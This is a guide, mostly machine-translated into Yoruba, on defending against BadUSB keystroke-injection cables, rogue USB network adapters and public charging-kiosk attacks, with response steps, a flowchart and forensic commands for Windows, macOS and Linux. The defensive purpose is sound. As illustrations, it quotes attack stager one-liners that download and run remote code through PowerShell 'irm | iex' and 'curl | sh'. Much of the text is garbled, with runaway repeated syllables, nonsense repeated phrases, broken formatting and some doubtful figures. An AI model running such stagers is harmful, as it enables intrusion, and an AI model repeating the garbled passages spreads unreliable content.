Awọn okun USB irira (Abẹrẹ HID / BadUSB) ati Aabo Kiosk gbangba¶

Pọ kọǹpútà alágbèéká rẹ, foonuiyara, tabi tabulẹti sinu USB-C ti ko mọ tabi okun gbigba agbara monomono ti o fi silẹ ni tabili hotẹẹli kan, ẹnu-ọna papa ọkọ ofurufu, ijoko ẹhin gigun, tabi apo swag apejọ, tabi wiwo ibanisọrọ Windows Run (Win + RWindow PowerShell, tabi MacOS Terminal filasi kọja iboju rẹ fun 500 milliseconds ki o bẹrẹ titẹ ni awọn ọrọ 1,000 fun iṣẹju kan lẹsẹkẹsẹ lẹhin sisopọ okun USB kan, kọnputa filasi, tabi olutẹ igbejade, jẹ ibuwọlu ti ** BadUSB / HID (Ẹrọ Ibaraẹnisọrọ Eniyan) Ikọlu Abẹrẹ Keystroke *** tabi ** Ijajajajajajajajajajajajajajajaja… Ko dabi malware ti aṣa ti o fipamọ bi faili lori dirafu atanpako ti awọn ọlọjẹ ọlọjẹ le ṣayẹwo ṣaaju ṣiṣi, awọn ohun elo ohun elo ohun ija gẹgẹbi ** O.MG Cable ***, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, ati USBHarpoon, ati USBHarpoon Fi sabọ si inu ẹrọ ikarahun Wi-old kan taara si inu ikarahun kekere kan ti o ni ikarahun pilasitik tabi ikarahun miniature ti o wa ninu ikarahun miniature ti o wa ni taara si inu ikarahun miniature kan ti o wa ninu ẹrọ ikarahun miniature kan taara si inu ẹrọ ikarahun kekere kan. Apple, Anker, tabi okun gbigba agbara Samsung (o jẹ milimita 12 tabi 0.47 inches ni gigun).

Nigbati o ba ṣafọ sinu kọnputa rẹ tabi foonuiyara ṣiṣi silẹ, microcontroller ti o farapamọ yẹn ko kede ararẹ si ẹrọ iṣẹ rẹ bi awakọ ipamọ tabi ṣaja. Dipo, o enumerates lori USB D+ ati D- awọn pinni data gẹgẹbi boṣewa ** Keyboard HID USB (Class 0x03*** tabi ** USB Ethernet Network Adapter (RNDIS / ECM)**. Nitori Windows, macOS, Lainos, iOS, ati Android ni igbẹkẹle ti o gbẹkẹle awọn bọtini itẹwe tuntun ti a so sinu lai nilo awakọ tabi awọn ọlọjẹ ọlọjẹ, okun naa ta ina lẹsẹsẹ eto-tẹlẹ ti awọn bọtini bọtini (Win + R -> powershell -w hidden -ep bypass ... lori Windows, tabi Cmd + Space -> Terminal lori macOS) tabi nfa ẹru Wi-Fi iṣakoso latọna jijin ni akoko ti ikọlu laarin awọn mita 90 (ẹsẹ 300) tẹ “Ṣiṣe” lori foonu wọn. Fun hotspot alailowaya ti o gbooro ati awọn irokeke nẹtiwọọki irin-ajo lẹgbẹẹ awọn ibudo gbigba agbara, tun kan si wa àkọsílẹ Wi-Fi, buburu Twin, ati oje jacking olugbeja guide. Ti o ba koju awọn irokeke ti ara tabi ipalọlọ, pe nọmba pajawiri ti agbegbe rẹ (911 ni Ilu Amẹrika ati Kanada, 112 jakejado European Union, 999 ni United Kingdom) tabi wo wa pajawiri awọn nọmba liana. Tẹle ipinya ohun elo lẹsẹkẹsẹ ati awọn iṣe imularada oniwadi ni isalẹ.

Ṣe eyi ni bayi¶

1. • YANK okun USB ti a fura si, kọnputa filasi, ibi iduro, tabi okun gbigba agbara kuro ni ibudo ẹrọ rẹ Lẹsẹkẹsẹ ***: Ni gbogbo iṣẹju kan BadUSB tabi O.MG Cable wa ni edidi sinu kọnputa ṣiṣi silẹ tabi foonu ngbanilaaye microcontroller inu rẹ (tabi ikọlu ti o wa nitosi ti o sopọ si Wi-Fi hotspot ti inu ti okun ti o farapamọ) lati lọsi awọn bọtini bọtini, ohun elo USB ti o farapamọ tabi ṣisẹ data USB ti o farapamọ ṣe igbasilẹ gbogbo ọrọ igbaniwọle ti o tẹ lori bọtini itẹwe ita rẹ.
2. ** Ge asopọ kọǹpútà alágbèéká tabi foonu ti o kan kuro lati Wi-Fi, Ethernet, ati Bluetooth ni bayi, ati MAA ṢE tẹ awọn ọrọ igbaniwọle eyikeyi lori ẹrọ yẹn ***: Iwọn isanwo BadUSB / Rubber Ducky 2-keji ko kọ eto nla kan lori wiwo bọtini itẹwe ti o lọra; dipo, o tẹ aṣẹ 1-ila kan "stager" sinu PowerShell (iex (irm http://...)tabi MacOS Terminal (curl -s http://... | sh) ti o ṣe igbasilẹ infostealer kikun tabi trojan iwọle latọna jijin lori asopọ Wi-Fi rẹ. Gige Wi-Fi ati Ethernet lẹsẹkẹsẹ pa igbasilẹ naa tabi da imunadoko duro.
3. ** Ti o ba tẹ “Gbẹkẹle Kọmputa yii” lori iPhone/iPad rẹ tabi yan “Gbigbe faili (MTP) / Gba N ṣatunṣe aṣiṣe USB (ADB)” sori foonu Android rẹ ni ibi gbigba agbara ti gbogbo eniyan, fagile igbẹkẹle lẹsẹkẹsẹ ***:
4. ** Lori iPhone / iPad ***: Yọọ okun kuro, lọ si ** Eto> Olùgbéejáde ** (ti o ba han ni isalẹ ti Eto) -> tẹ ni kia kia ** Nu Awọn Kọmputa Gbẹkẹle kuro ***. Ti Olùgbéejáde ko ba han, lọ si ** Eto> Gbogbogbo> Gbigbe tabi Tun iPhone to> Tunto> Tun ipo & Asiri ***, eyiti cryptographically pa gbogbo awọn so pọ. lockdownd ogun sisopọ igbasilẹ ki ko si kọmputa tabi kiosk le lailai wọle si rẹ iPhone afẹyinti lẹẹkansi lai koodu iwọle rẹ.
5. ** Lori Android ***: Yọọ okun kuro, lọ si ** Eto > Eto > Awọn aṣayan Olùgbéejáde ** (ti o ba ṣiṣẹ) -> tẹ ni kia kia ** Fagilee awọn aṣẹ n ṣatunṣe aṣiṣe USB, ki o tan ** Awọn aṣayan Olùgbéejáde ** patapata ** PA ***.
6. ** Ṣayẹwo kini fifuye bọtini Bọtini BadUSB ti o kan ti tẹ lori kọnputa rẹ nipa ṣiṣe ayẹwo apoti Ṣiṣe rẹ (RunMRU), Iwe aṣẹ aṣẹ PowerShell (PSReadLine), ati itan-akọọlẹ MacOS Terminal ***: Ṣaaju atunbere, ṣii window ebute mimọ lori kọnputa aisinipo rẹ ki o ka aṣẹ gangan ti keyboard USB iro ti abẹrẹ sinu eto rẹ nipa lilo wa Awọn aṣẹ iṣayẹwo oniwadi ni Ipele 2.
7. ** Ṣetọju okun USB ifura tabi awakọ atanpako ninu apo irin tabi apo Faraday (maṣe fi sii pada sinu kọnputa eyikeyi lati “wo ohun ti o wa lori rẹ”): Nitoripe Cable O.MG kan ni transceiver ESP8266/ESP32 Wi-Fi ti nṣiṣe lọwọ ti o ni agbara nigbakugba ti o gba 5 volts (paapaa nigbati o ba ṣafọ sinu biriki ogiri USB) lori aaye iwọle Wi-Fi ti o farapamọ ati ngbanilaaye ikọlu ni ita yara hotẹẹli tabi ọfiisi lati sopọ si rẹ tabi fa iparun ararẹ (Self-Destruct / Wipe) ẹya-ara. Fi silẹ patapata.
8. ** Ti isanwo BadUSB ba ṣe iwe afọwọkọ kan lori kọnputa rẹ lakoko ti o wọle, yi gbogbo awọn iwe-ẹri pada ki o fagilee awọn akoko ti nṣiṣe lọwọ lati lọtọ, ẹrọ mimọ ***: Nitori ida 90 ti awọn isanwo BadUSB ode oni ṣe ifilọlẹ infostealer kan ti o gba awọn kuki aṣawakiri ati awọn ọrọ igbaniwọle ti o fipamọ ni iṣẹju-aaya 3, ṣiṣẹ wa igba hijacking kukisi ati infostealer àmi fifagilee itọsọna lati kan mọ foonuiyara.

Igi ipinnu: fesi si okun USB ti a fura si irira tabi ifihan kiosk ti gbogbo eniyan¶

Lo iwe ilana ilana ilana lati pinnu boya ẹrọ rẹ ti gbogun lẹhin pilogi sinu okun USB ti a ko gbẹkẹle, ibi iduro, awakọ atanpako, tabi ibudo gbigba agbara gbogbo eniyan:

flowchart TD
    Event["Pulọọgi Sinu Okun USB Aimọ, Ri Flash Drive, Hotẹẹli/Kiosk Papa ọkọ ofurufu, tabi Ri Terminal/Ṣiṣe Fèrèsé Filaṣi loju iboju"] --> Unplug["Igbesẹ 1: Yọọ USB USB / Ẹrọ Lẹsẹkẹsẹ & Ge asopọ Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Ẹrọ wo ni o ti so sinu okun USB ti a ko mọ tabi ibudo?"}

    WhatDevice -->|"Windows, MacOS, tabi Lainos Laptop / Ojú-iṣẹ"| ScreenLocked{"Njẹ Iboju Kọmputa Titiipa tabi Ṣii silẹ Nigbati Wọle?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Njẹ iPhone Ṣii silẹ, ati Ṣe O Tẹ 'Igbẹkẹle' tabi Wo Titẹ?"}
    WhatDevice -->|"Android foonuiyara / tabulẹti"| AndroidState{"Ṣe Foonu naa Ṣii silẹ, tabi Njẹ 'Ṣiṣatunṣe USB (ADB)' Ti ṣiṣẹ bi?"}

    ScreenLocked -->|"Ṣii silẹ (Wọ si Ojú-iṣẹ)"| AssumeHID["Ewu ti o ga: BadUSB / O.MG Cable Le Ṣiṣẹ Awọn titẹ bọtini (Win + R / Cmd + Space) ni <1.5 iṣẹju-aaya Laisi Eyikeyi Tọ -> Lọ si Ayẹwo Oniwadi Alakoso 2 Alakoso 2"]
    ScreenLocked -->|"Titiipa (Iboju ọrọ igbaniwọle)"| NetworkDMA["Ṣayẹwo Ti Thunderbolt/PCIe DMA tabi USB Ethernet (RNDIS/DHCP Poisoning) ṣẹlẹ; Awọn bọtini bọtini ko le fori iboju Titiipa Laisi Ọrọigbaniwọle Rẹ"]

    iOSState -->|"Titiipa Gbogbo Akoko (iOS 15+ / Ipo ihamọ USB)"| iOSSafe["Ailewu: Apple 'Ipo Ihamọ USB' ni ti ara pa awọn pinni data kuro lori Awọn iPhones Titiipa -> Agbara nikan ti kọja"]
    iOSState -->|"Ṣii silẹ & Titẹ 'Igbẹkẹle' (Tabi Ri Safari/Awọn ọna abuja Ṣii)"| iOSRevoke["Lẹsẹkẹsẹ Ṣiṣe: Eto> Gbogbogbo> Gbigbe tabi Tun iPhone> Tun> Tun ipo & Asiri + Ohun elo Awọn ọna abuja ṣayẹwo"]

    AndroidState -->|"Titiipa Gbogbo Akoko naa (Ipo gbigba agbara-nikan)"| AndroidSafe["Ailewu: Awọn aipe Android ode oni si 'Ko si Gbigbe Data (Igba agbara nikan)' -> Ko si data ti o kọja"]
    AndroidState -->|"Ṣii silẹ & Ri Titẹ iboju tabi ADB/MTP ti a fọwọsi"| AndroidRevoke["Pa Awọn aṣayan Olùgbéejáde kuro -> Fagilee N ṣatunṣe aṣiṣe USB -> Ṣayẹwo Awọn ohun elo Fi sori ẹrọ & Awọn igbasilẹ Chrome"]

Loye bii BadUSB, Awọn okun O.MG, ati awọn ikọlu gbigba agbara gbogbo eniyan ṣiṣẹ Lootọ¶

Lati daabobo ararẹ ni imunadoko, ati yago fun awọn mejeeji labẹ ifasilẹ si gbin ohun elo gidi ati ijaaya lori awọn ebute gbigba agbara ti ko lewu, o nilo lati loye awọn ọna ẹrọ imọ-ẹrọ ọtọtọ mẹta ti awọn ikọlu lo lori USB:

1. BadUSB/HID Abẹrẹ Keystroke (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• ** Aṣiṣe Apẹrẹ Pataki ti USB ***: Bosi Serial Gbogbo agbaye (USB) sipesifikesonu ngbanilaaye asopo ti ara kan lati sọ ararẹ bi kilasi ẹrọ eyikeyi lakoko kika (bInterfaceClass), tabi koda bi ** Ẹrọ Apapo *** (ti n ṣalaye funrararẹ ni igbakanna bii Drive USB Flash * ati * Keyboard USB kan).
• ** Ninu O.MG Cable tabi Ṣaja irira ***: Ni wiwo, O.MG Cable jẹ 100 ogorun ko ṣe iyatọ si ojulowo braided tabi funfun Apple USB-C-to-USB-C, USB-C-to-Lightning, tabi okun USB-A. O gba agbara fun foonu rẹ ati gbigbe data lọ deede. Bibẹẹkọ, ti o farapamọ sinu imọran asopo ohun ti nṣiṣe lọwọ jẹ microcontroller meji-core microscopic pẹlu 802.11 Wi-Fi ati ibi ipamọ filasi:
• ** Abẹrẹ bọtini bọtini ti nṣiṣe lọwọ ***: Ni akoko ti o ba ṣafọ okun naa sinu Windows PC ti ṣiṣi silẹ, Mac, tabi foonuiyara, okun naa ṣe iṣiro bi jeneriki ** Keyboard HID ** ati iru awọn ohun kikọ 850 fun iṣẹju-aaya (DuckyScript). Laarin 1.5 aaya, o tẹ Win + R (Windows) tabi Cmd + Space (Mac), ṣe ifilọlẹ ikarahun abẹlẹ ti o farapamọ, ṣe igbasilẹ fifuye isanwo kan, ati tilekun window naa.
• ** Keylogger Hardware Inline (Fun Awọn bọtini itẹwe USB ita) ***: Ti olukapa ba paarọ okun USB ti o so bọtini itẹwe ita ita si PC tabili tabili rẹ pẹlu Cable O.MG, afisinu joko ni idakẹjẹ laarin okun waya ati ṣe igbasilẹ ** to awọn bọtini bọtini 650,000 (pẹlu Bitwarden / 1Pass rẹ bi ọrọ igbaniwọle), Ọrọ igbaniwọle BIOS, Ọrọ igbaniwọle Windows rẹ, Ọrọ igbaniwọle Windows ati Bitwarden rẹ eyiti ẹniti o kọlu n ṣe igbasilẹ lailowadi lati ita ile lori Wi-Fi.
• ** Geofenced & Awọn isanwo Idaduro Akoko ***: Ko dabi $ 50 USB Ducky Rubber ti o rọrun ti o ṣe iru isanwo rẹ ni kete ti o ti ṣafọ sinu, O.MG Cable le duro ni isunmi patapata bi okun gbigba agbara deede fun ** awọn ọjọ tabi awọn ọsẹ *** titi yoo fi rii nẹtiwọọki Wi-Fi ajọṣepọ rẹ (BSSID geofencing) tabi titi ti ikọlu yoo fi ṣe okunfa latọna jijin nipasẹ UI wẹẹbu ti a ṣe sinu rẹ.

2. Gbigbe Adapter USB Network (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Paapa ti iboju kọǹpútà alágbèéká rẹ ba wa ni titiipa ** titiipa (Win + L tabi Ctrl + Cmd + Q*** nitorinaa bọtini itẹwe USB iro ko le ṣii window ebute kan, sisọ ohun elo USB irira sinu ibudo data USB ṣiṣi silẹ gba ẹrọ laaye lati ṣe iṣiro bi ** Gigabit USB Ethernet Adapter ti o ga julọ (Priority Gigabit)USB RNDIS tabi CDC-ECM)**.
• Nitori Windows ati macOS ṣe pataki ni iṣaju ni wiwo tuntun ti o ni asopọ Ethernet ti o ni asopọ lori Wi-Fi, ẹrọ USB di ẹnu-ọna aiyipada laptop rẹ nipasẹ DHCP (0.0.0.0/1), idilọwọ awọn ijabọ nẹtiwọọki agbegbe ti ko paro, dahun si WPAD / LLMNR / mDNS awọn ibeere, tabi awọn siphon ti kii ṣe HttpNikan awọn kuki aṣawakiri abẹlẹ.

3. Kiosk ti gbogbo eniyan "Oje Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Nigbati o ba pulọọgi foonuiyara kan sinu ibudo USB ti gbogbo eniyan (ni papa ọkọ ofurufu, ibudo ọkọ oju irin, agbekọri hotẹẹli, tabi ẹyọ infotainment ọkọ ayọkẹlẹ yiyalo) ni lilo okun data ti o lagbara deede:
• ** Kini dina laifọwọyi : Niwon ** iOS 11.4.1 / iOS 15+ (USB Restricted Mode ati ** Android 9+ (Charge-Only Default, fifi foonu sinu ibudo data USB kii ṣe afihan awọn fọto tabi awọn faili rẹ laifọwọyi. Gbigbe data ti dinamọ titi ti o ba ṣii foonu naa ATI tẹ ni kia kia ni gbangba ** “Gbẹkẹle Kọmputa yii” (pẹlu tẹ koodu iwọle iPhone rẹ sii) tabi yi ifitonileti USB Android pẹlu ọwọ pada lati Ko si gbigbe data si * Gbigbe faili (MTP) tabi Gbigba USB n ṣatunṣe aṣiṣe.
• ** Nibo ni ewu gidi wa ni awọn ile-iṣẹ ita gbangba ***:
  1. ** ChoiceJacking & Abẹrẹ HID lori Awọn foonu Ṣii silẹ : Gẹgẹbi a ti ṣe afihan nipasẹ awọn oniwadi aabo ti Ile-ẹkọ giga ti GrazChoiceJacking), ti foonu rẹ ba wa ni ṣiṣi silẹ ni ọwọ rẹ ** nigba ti o ba ṣafọ sinu ibudo USB ti gbogbo eniyan irira, kiosk le kọkọ ṣe iṣiro bi bọtini itẹwe USB USB (HID fun 200 milliseconds ati firanṣẹ gangan Tab / Enter tabi awọn bọtini iranlọwọ iranlọwọ ti o nilo lati ** tẹ “Gba laaye / Gbigbe faili” tọ fun ọ loju iboju rẹ *** ṣaaju ki o to yipada si ipo gbigbe data ogun.
  2. ** Agbara idọti / Ipabajẹ Hardware Foliteji (USB Killer***: Ibudo USB ti gbogbo eniyan ti sabotaged le sọ 200V DC silẹ lati banki kapasito taara sinu chirún oludari USB-C foonu rẹ, didin igbimọ imọran patapata.

Matrix Comparison: USB Defence Hardware & Awọn Idaabobo OS¶

Phase 1: How to Visually and Electrically Detect a Malicious USB Cable (O.MG Cable Audit)¶

If you found a suspicious USB cable in your office, connected to the back of your desktop PC keyboard, or inside your travel bag, follow these four steps to determine whether it is a hardware implant:

1. Test #1: Measure Continuity or Use a Hardware Cable Tester (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester*:
2. Standard passive USB-A-to-USB-C, USB-A-to-Lightning, or non-E-Marked USB-C charging cables contain no active microprocessor pulling current when only one end is plugged into power.
3. An O.MG Malicious Cable Detector (or inline USB current/protocol analyzer like a Power-Z KM003C) sits between the power source and the cable with nothing connected to the far end of the cable:
   • If a cable draws 30 to 120 milliamps (mA) of current at 5V when nothing is plugged into the other end, or attempts to negotiate USB D+/D- enumeration by itself, there is an active computer / Wi-Fi radio hidden inside the cable head.
4. Test #2: Check for Hidden Wi-Fi Access Points (O.MG Default SSIDs or ESP32 MAC Prefixes):
5. O.MG Cables and wireless BadUSB implants use an Espressif (ESP8266 / ESP32-S2 / ESP32-C3) Wi-Fi chip inside the connector shell.
6. Using an isolated USB battery bank inside a faraday/isolated area (never your computer), powering an unconfigured or default O.MG cable often broadcasts a 2.4 GHz Wi-Fi network (default SSID O.MG at 192.168.4.1, tabi SSID ti o farapamọ pẹlu ** Adirẹsi MAC / BSSID OUI ti o jẹ ti Espressif Inc.** gẹgẹbi 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, ayafi ti spoofed).
7. ** Idanwo #3: Ṣayẹwo Gigun Asopọmọra Overmold ati Iran Ooru ***:
8. Ṣe afiwe ikarahun iderun ṣiṣu ti okun ifura si Apple ojulowo ti a mọ tabi Anker USB ẹgbẹ-ẹgbẹ:
   • Lakoko ti awọn iran O.MG Cable aipẹ ṣe ibaamu awọn iwọn ikarahun gangan Apple, lẹhin awọn iṣẹju 3 ti gbigba agbara 5V, ori asopo ti o ni microcontroller Wi-Fi ti nṣiṣe lọwọ yoo ni rilara ** ni akiyesi gbona (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit*** laarin awọn ika ọwọ rẹ paapaa nigbati foonu ko ba gba agbara ni opin miiran. (Okun palolo deede ti ko si nkankan ti o ṣafọ sinu opin ti o jinna jẹ tutu patapata ni iwọn otutu yara.)

Phase 2: Forensic Triage If a BadUSB or O.MG Cable Typed on Your Computer¶

If you plugged a USB cable, thumb drive, or peripheral into your Windows PC, Mac, or Linux laptop and saw the Start menu, Run dialog (Win + R), Spotlight (Cmd + Space), or a black/blue terminal window flash open and close, do not reboot yet. Run these exact offline commands to see what the fake USB keyboard typed and what USB Vendor/Product ID (VID:PID) connected to your port:

1. Windows 10 & Windows 11 Forensic Audit (Run in Offline PowerShell)¶

Ṣii ** PowerShell (Abojuto) *** lori Windows PC aisinipo ati ṣiṣe awọn aṣẹ oniwadi mẹrin wọnyi:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• ** Bawo ni lati ṣe itumọ Get-ItemProperty ... RunMRU**:
• Fere gbogbo Windows BadUSB / Rubber Ducky iwe afọwọkọ bẹrẹ nipa titẹ Win + R (GUI r ni DuckyScript) ati titẹ aṣẹ bi powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex tabi cmd /c curl ....
• Paapa ti iwe afọwọkọ ba gbiyanju lati parẹ RunMRU ni ipari, ti o ba fa okun naa kuro ni aarin-ipaniyan (tabi ti iwe afọwọkọ naa ko ba pa iforukọsilẹ naa kuro), URL irira gangan ati aṣẹ yoo joko ni inu ọtun. RunMRU (a, b, c awọn iye) tabi inu ConsoleHost_history.txt.

2. Apple MacOS Audit Forensic (Ṣiṣe ni Ibusọ Aisinipo)¶

Lori macOS, awọn ẹru isanwo BadUSB nigbagbogbo tẹ Cmd + Space (GUI SPACE), oriṣi Terminal, tẹ Enter, ati ṣiṣe a curl tabi osascript ọkan-ila:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Ayẹwo Oniwadi Lainos (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Ti eyikeyi ninu awọn akọọlẹ ti o wa loke fihan pe a powershell, cmd, mshta, curl, wget, tabi osascript pipaṣẹ ti a ṣe lakoko ti o sopọ si intanẹẹti, ro pe infostealer tabi ile-iṣẹ ẹhin itẹramọṣẹ: fagilee gbogbo awọn akoko ni lilo wa igba hijacking kukisi ati infostealer guide ki o tun ṣe OS mimọ ti o tẹle wa malware, ransomware, ati spyware itọsọna ikolu.

Ipele 3: Titiipa Awọn ẹrọ Rẹ silẹ Nitorina Awọn okun BadUSB Ko le Ṣiṣẹ Laifọwọyi¶

Awọn ọna ṣiṣe ti ode oni pẹlu awọn titiipa ibudo ohun elo ti o lagbara ti a ṣe sinu rẹ ti ** yọkuro patapata BadUSB, O.MG Cables, ati Duckies Rubber *** ṣaaju ki wọn to tẹ ohun kikọ kan, ti o ba tan awọn eto yẹn:

1. Apple macOS (Apple Silicon M1 / ​​M2 / M3 / M4 MacBooks): Mu ṣiṣẹ "Beere fun Awọn ẹya ẹrọ Tuntun"¶

Lori Apple Silicon Macs ti nṣiṣẹ macOS Ventura, Sonoma, tabi Sequoia, Apple ṣe afihan ipele-ipele USB-C/Thunderbolt ibudo ašẹ ti o ṣe idiwọ eyikeyi okun USB tabi ẹrọ lati ṣe iṣiro bi bọtini itẹwe titi ti o fi tẹ taara "Gba laaye": 1. Ṣii ** Akojọ aṣayan Apple () > Eto eto > Asiri & Aabo *. 2. Yi lọ si isalẹ si apakan Aabo *** ki o wa "Gba awọn ẹya ẹrọ laaye lati sopọ". 3. Yi pada lati * Laifọwọyi Nigbati Ṣii silẹ * si "Beere fun Awọn ẹya ẹrọ Tuntun” (tabi ** “Beere ni Gbogbo Igba” fun aabo irin-ajo aabo giga julọ). 4. Kini idi ti eyi fi duro O.MG Cables tutu lori Mac kan ***: Nigbati o ba ṣafọ sinu oun gbiba agbara O.MG ẹtan pẹlu * "Beee ni gbogbo igba"* tabi "Beere fun Awọn ẹya ẹrọ Tuntun” ṣiṣẹ, agbara n ṣan lẹsẹkẹsẹ lati gba agbara si batiri MacBook rẹ, ** ṣuọn macOS ṣe agbejade kika ọrọ ikilọ kan: "Allow accessory '[Device Name]' to connect to this Mac?" Nitori okun gbigba agbara palolo deede ko beere lati sopọ bi ẹya ẹrọ data kan, rii agbejade yẹn nigbati o ba ṣafọ sinu okun gbigba agbara ti o rọrun ** lesekese ṣi okun USB naa han bi ohun elo ohun elo kan ** lakoko ti o dina 100 ogorun ti awọn bọtini bọtini rẹ titi iwọ o fi yọọ kuro.

2. Apple iPhone & iPad: Daju "USB ihamọ Ipo" ti wa ni sise¶

1. Ṣii ** Eto > ID Ojuju & koodu iwọle *** (tabi ** ID Fọwọkan & koodu iwọle ***) ko si tẹ koodu iwọle rẹ sii.
2. Yi lọ si isalẹ si apakan "Gba Wiwọle Nigbati Titiipa" apakan.
3. Rii daju pe yiyi lẹgbẹẹ ** Awọn ẹya ẹrọ *** (tabi ** Awọn ẹya ẹrọ USB ***) ti wa ni titan PA (awọ grẹy).
4. Pẹlu ** Awọn ẹya ẹrọ *** titan ** PA ***, nigbakugba ti iPhone rẹ ba wa ni titiipa, iOS npa awọn pinni data USB kuro ni ti ara, gbigba agbara gbigba agbara nikan lati kọja. ** Tẹ bọtini ẹgbẹ nigbagbogbo lati tii iboju iPhone rẹ KI o to pulọọgi sinu ṣaja ti ko mọ tabi ọkọ ayọkẹlẹ iyalo.

3. Android 15/16 & GrapheneOS: Muu ṣiṣẹ "Idaabobo To ti ni ilọsiwaju" / Titiipa Port USB¶

• ** Lori Android boṣewa (Pixel, Samsung Galaxy) ***:
• Maṣe lọ kuro ** Awọn aṣayan Olùgbéejáde > N ṣatunṣe aṣiṣe USB (ADB*** ṣiṣẹ nigbati o ba nrìn.
• Ninu ** Eto> Aabo & Aṣiri> Awọn eto aabo diẹ sii ** (tabi ** Idaabobo To ti ni ilọsiwaju ** lori Android 15/16+), ṣiṣẹ ** Idaabobo USB / Dina awọn ẹrọ USB tuntun lakoko titiipa ***.
• Tii iboju rẹ nigbagbogbo ṣaaju asopọ si eyikeyi ibudo gbigba agbara gbangba nitoribẹẹ ChoiceJacking HID kolu ko le ṣe ajọṣepọ pẹlu iboju ṣiṣi silẹ.

4. Lainos & Idawọlẹ Windows: USBGuard ati Awọn ihamọ fifi sori ẹrọ¶

• ** Lori Lainos (USBGuard***: Fi sori ẹrọ naa usbguard daemon (sudo apt install usbguard), eyiti o ṣe idiwọ eyikeyi ẹrọ USB ti a ti sopọ tuntun ti n sọ bInterfaceClass 03 ( Keyboard HID) ti o ba ti so bọtini itẹwe akọkọ kan tẹlẹ tabi titi ti a fi fun ni aṣẹ ni gbangba nipasẹ usbguard allow-device.
• ** Lori Windows 11 Pro / Idawọlẹ *: Mu ṣiṣẹ ** Idaabobo Kernel DMA (BitLocker + VBS ni Aabo Windows> Aabo Ẹrọ> Iyasọtọ Core lati da awọn ikọlu Thunderbolt/PCIe DMA duro, ati nigbagbogbo tii iṣẹ iṣẹ rẹ (Win + L) ṣaaju ki o to pulọọgi sinu okun USB eyikeyi ti a ko mọ ki awọn abẹrẹ bọtini bọtini ko le wọle si ikarahun tabili ti o wọle.

Awọn ibeere ti a beere nigbagbogbo¶

Njẹ okun O.MG irira tabi okun BadUSB le gige iPhone tabi foonu Android mi ti MO ba ṣafọ si lakoko iboju foonu mi ti wa ni titiipa?¶

Ti iPhone rẹ ba ni Eto> ID Oju & koodu iwọle> Gba Wiwọle laaye Nigbati Titiipa> Awọn ẹya ẹrọ miiran yipada PAA (aiyipada lori iOS 15 nipasẹ iOS 18) ati iboju rẹ ti wa ni titiipa nigbati o ba pulọọgi okun sinu, ko si data tabi keystrokes le de ọdọ rẹ iPhone nitori iOS ṣe alaabo awọn laini data USB ni ipele oludari ohun elo titi iwọ o fi ṣii foonu pẹlu ID Oju tabi koodu iwọle rẹ. Sibẹsibẹ, ni akoko ti o ṣii iPhone rẹ lakoko ti O.MG Cable tun wa ni edidi, okun naa le ṣe iṣiro bi kọnputa USB ita ati firanṣẹ awọn ọna abuja keyboard iOS ni iyara (bii. cmd + aaye lati ṣii Ayanlaayo, ṣii Safari si URL ararẹ/atunṣe profaili, tabi fa Apple Awọn ọna abuja). Maṣe fi okun USB kan ti a rii tabi ti ko gbẹkẹle edidi sinu lakoko ṣiṣi foonu rẹ.

Bawo ni MO ṣe le sọ iyatọ laarin okun USB “Igba agbara-Nikan” gidi ati okun data USB deede?¶

